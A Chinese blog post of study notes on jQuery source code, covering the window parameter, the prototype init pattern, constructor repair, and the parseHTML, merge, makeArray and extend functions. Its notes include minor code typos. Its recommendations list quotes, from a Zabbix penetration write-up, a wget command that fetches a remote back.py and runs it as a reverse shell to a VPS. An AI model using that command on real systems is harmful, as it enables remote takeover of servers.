(function(window){})(window)

为什么要传window给jquery当参数呢?

1.为了压缩有 引用

2.加速变量的寻找,当找window对象的时候,默认从本级开始寻找,一级级往上到最高层。

window.a==undefined

typeof window.a "undefined" 理论上两种都行,但是在老版本的IE中上种可能不行

传统的js的面向对象构建方式

function A(){}

A.prototype.init=function(){}

A.prototype.css=function(){}

使用:

var a=new A();

a.init();

a.css();

是否很麻烦

jQuery的做法:

function jQuery(){

  return new jQuery.prototype.init();

}

jQuery.prototype.init=function(){}

jQuery.prototype.css=function(){}

jQuery.prototype.init.prototype=jQuery.prototype;//很巧妙,prototype首先是对象,也是型构造函数的原型

使用:

jQuery().css(); 直接省略了两步,被初始化了的

constructor属性,当创建一个js对象的时候,该对象自动有个 constructor属性,该属性就是构造方法

function A(){}

A.prototype.constructor=A;

当var a=new A()的时候,上面这句话自动会赋予的

可以 alert(a.constructor);试试

为什么在 jQuery中 jQuery.fn=jQuery.prototype={......,constructior:jQuery,....}

这一句呢,不是说会自动添加上的么?

首先

function A(){}

A.prototype.name='ww'

A.prototype.age='11'

var a=new A();

alert(a.constructor);//打印出function A(){}

然后 function A(){}

A.prototype={name:'ww',age:'11'}

var a=new A();

alert(a.constructor)//打印出 function Object(){[native object]}

这是因为 第一种 是附加属性 不会影响 构造对象constructor

第二种是 = ,赋予属性而 json格式的 是一个大对象,所以 constructor对象被赋予 object了

写了那句话之后是为了修正,修正为函数形式的。

$("li") 转成的格式为

this:{0:li,1:li,2:li,length}

$.parseHTML()用于实现以上功能转成以上string

$.merge()  合并数组,也可以合并json(但是这个json是key是0,1等的。。。)。 把数组转换成 json

var str="<li>1</li><li>2</li><li>3</li><script>alert(4)<\/script>"

$.parseHTML(str,document,true);//返回数组,每个对象都是一个标签对象['li','li','li','script']

var arr={

  0:'a',

  1:'b'

  length:2}

vr arr2={'c','d'}

$.merge(arr,arr1)    ->{0:'a',1:'b',2:'c',3:'d',length:4}形式的json格式了。

$.makeArray() 生成数组

var div=$("div")

$.makeArray(div)生成 div的数组

$.makeArray()

深拷贝与浅拷贝

var a={}

var b={name:{age:30}}

a.name.age=20

$.extend(a,b)

alert(b.name.age)   打印出20    浅拷贝

$.extend(true,a,b)

a.name.age=20;

allert(b.name.age) 打印出30深拷贝,不同对象

jQuery部分源码帮助理解的更多相关文章

  1. 深入分析,理解jQuery.Deferred源码

    前言: 如果你对jQuery.Callback回调对象不了解,或者只掌握其方法,但是没有通过阅读源码理解,可以先阅读 前一章jQuery.Callbacks源码解读二,因为只有完全理解jQuery.C ...

  2. 【深入浅出jQuery】源码浅析--整体架构

    最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...

  3. 【深入浅出jQuery】源码浅析2--奇技淫巧

    最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...

  4. jQuery.Callbacks 源码解读二

    一.参数标记 /* * once: 确保回调列表仅只fire一次 * unique: 在执行add操作中,确保回调列表中不存在重复的回调 * stopOnFalse: 当执行回调返回值为false,则 ...

  5. 【深入浅出jQuery】源码浅析2--使用技巧

    最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...

  6. 【学】jQuery的源码思路1——后代选择器

    jQuery的源码思路1--后代选择器 这里探讨一下jQuery中后代选择器的封装原理,并自己写一下 getEle('#div1 ul li .box');接受的参数就是个后代选择器,类似于这样: # ...

  7. (转)【深入浅出jQuery】源码浅析2--奇技淫巧

    [深入浅出jQuery]源码浅析2--奇技淫巧 http://www.cnblogs.com/coco1s/p/5303041.html

  8. storm源码之理解Storm中Worker、Executor、Task关系 + 并发度详解

    本文导读: 1 Worker.Executor.task详解 2 配置拓扑的并发度 3 拓扑示例 4 动态配置拓扑并发度 Worker.Executor.Task详解: Storm在集群上运行一个To ...

  9. jQuery.attributes源码分析(attr/prop/val/class)

    回顾 有了之前的几篇对于jQuery.attributes相关的研究,是时候分析jQuery.attr的源码了 Javascript中的attribute和property分析 attribute和p ...

随机推荐

  1. android基础知识13:AndroidManifest.xml文件解析

    注:本文转载于:http://blog.csdn.net/xianming01/article/details/7526987 AndroidManifest.xml文件解析. 1.重要性 Andro ...

  2. 翻译:Universal Image Loader

    本文转载于:http://blog.csdn.net/tianxiangshan/article/details/9399183 All manipulations are held by the I ...

  3. debugging books

    https://blogs.msdn.microsoft.com/debuggingtoolbox/2007/06/08/recommended-books-how-to-acquire-or-imp ...

  4. XML中CDATA及其字符实体的使用

    在写xml文档时,偶尔会用到一些特殊字符,如<.>.&等,如下面这段程序: <?xml version="1.0"?> <y>if x& ...

  5. android向web提交参数的4种方式总结,附带网站案例源码

    第一种:基于http协议通过get方式提交参数 1.对多个参数的封装 public static String get_save(String name, String phone) { /** * ...

  6. 一次zabbix的渗透

    wget http://xxxxxxx:8888/back.py -O  /tmp/1.py  写入python反弹马 反弹到vps python /tmp/back.py IP port       ...

  7. poj 1597 Uniform Generator【生成指定范围内所有随机数】

    本文参考资料:http://hi.baidu.com/bnjyjncwbdbjnzr/item/1f997cfdd225d5d143c36a58 题意:一个生成随机数的函数, Seed[x+1] =  ...

  8. unity 4 Please check your configuration file and verify this type name.

    The problem is in you config file. You are mixing two concepts with some incorrect syntax. The <a ...

  9. python exec

    exec官方声明This statement supports dynamic execution of Python code. exec语句用来执行储存在字符串或文件中的python语句.exec ...

  10. 【性能诊断】三、单功能场景的性能分析(RedGate Profiler)

    上一篇我们简单的对客户前端和数据库后端的性能问题进行了定位,如果排除了这两块,问题基本就确定在应用服务器上.但是我们往往对应用服务器,或者说应用程序的性能最陌生,一旦出现性能问题往往有无所适从的感觉, ...